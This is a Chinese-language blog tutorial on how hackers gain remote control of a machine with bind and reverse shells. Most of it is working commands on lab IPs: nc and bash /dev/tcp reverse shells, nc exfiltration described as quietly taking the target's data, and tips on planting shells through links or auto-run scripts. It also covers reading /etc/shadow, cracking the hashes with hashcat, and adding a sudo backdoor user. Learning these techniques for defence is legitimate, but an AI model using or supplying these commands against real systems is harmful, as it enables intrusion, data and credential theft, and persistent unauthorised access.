相关阅读
很早之前写过一篇完整的Reverse shell的教程,你可以把Reverse译为反向或者反弹
视频讲解
原理讲解
其实,Reverse Shell(反弹/反向shell)顾名思义,就是让你要让目标电脑或者服务器主动向你的设备发送命令,连接你的设备已经建立好的通道,然后你在你的设备上就可以输入任意命令来操控目标电脑或者服务器了。
如果你还看不明白,咱们就说的再简单点
正常的发送命令,是你用客户端向服务器发命令(在下图的Normal shell部分)
而Reverse Shell (反弹/反向shell) 则是让服务器给你发命令,然后让你控制
![图片[1]-黑客是如何远程控制一台电脑/服务器的?反弹shell了解一下!-FancyPig's blog](https://static.iculture.cc/wp-content/uploads/2022/01/20220105171747995.png?x-oss-process=image/auto-orient,1/format,webp/watermark,image_cHVibGljL2xvZ28ucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTA,x_10,y_10)
那具体怎么实现的呢?
你可以通过投递链接、自动执行的脚本,让用户获取打开之后接受控制
(具体可以参考我们之前在猪猪粉丝群里推荐过多次的PayloadALLTheThings中的Reverse Shell部分)
具体代码示例
常见的正向、反向、bash等shell的方法总结
正向shell
服务器建立通道,攻击机连接,服务器主动被控
服务器
nc -l -p 6996 -e /bin/bash
客户端(我们的电脑)
nc 192.168.137.131 6996
输入
whoami
这里会惊奇的发现,whoami提示的是另一台机器的root账户了,这里说明shell已经连接成功了。

输入
ip a
这里可以看到实际上我已经是在服务器的系统里了

反弹shell
客户端(我们的电脑)
nc -lvvp 8888

服务器
nc -e /bin/bash 192.168.137.128 8888

然后使用我们的电脑,就可以输入命令咯,返回服务器中的信息!

bash反弹shell
客户端(我们的电脑)
nc -lvvp 8888
服务器
bash -i >& /dev/tcp/192.168.137.128/8888 0>&1
紧接着发现,已经切到kali这边了,可以输入命令行了
文件传输
可以通过该种方式将我们目标服务器的资料悄悄传输走!
为了验证,文件成功传输,这里先用电脑检验本地无test.txt文件
cat test.txt

然后使用客户端(我们的电脑)输入
nc -l -p 8888> test.txt

然后服务器输入
cat 'test.txt' | nc 192.168.137.128 8888
发现换行了,连接中断了,这里再用客户端(我们的电脑)输入

发现文件已经从服务器传过来了。
总结
其实,shell连上之后,更重要的是学会如何操作Linux、DOS命令行。
例如:
- 获取系统账户信息(
cat /etc/shadow
)
拿到账户名和加密的密码后,使用我们之前讲的hashcat可以进行破解
- 添加用户(
useradd -m 用户名
) - 提升用户权限(
usermod -G sudo 用户名
)
- 最新
- 最热
只看作者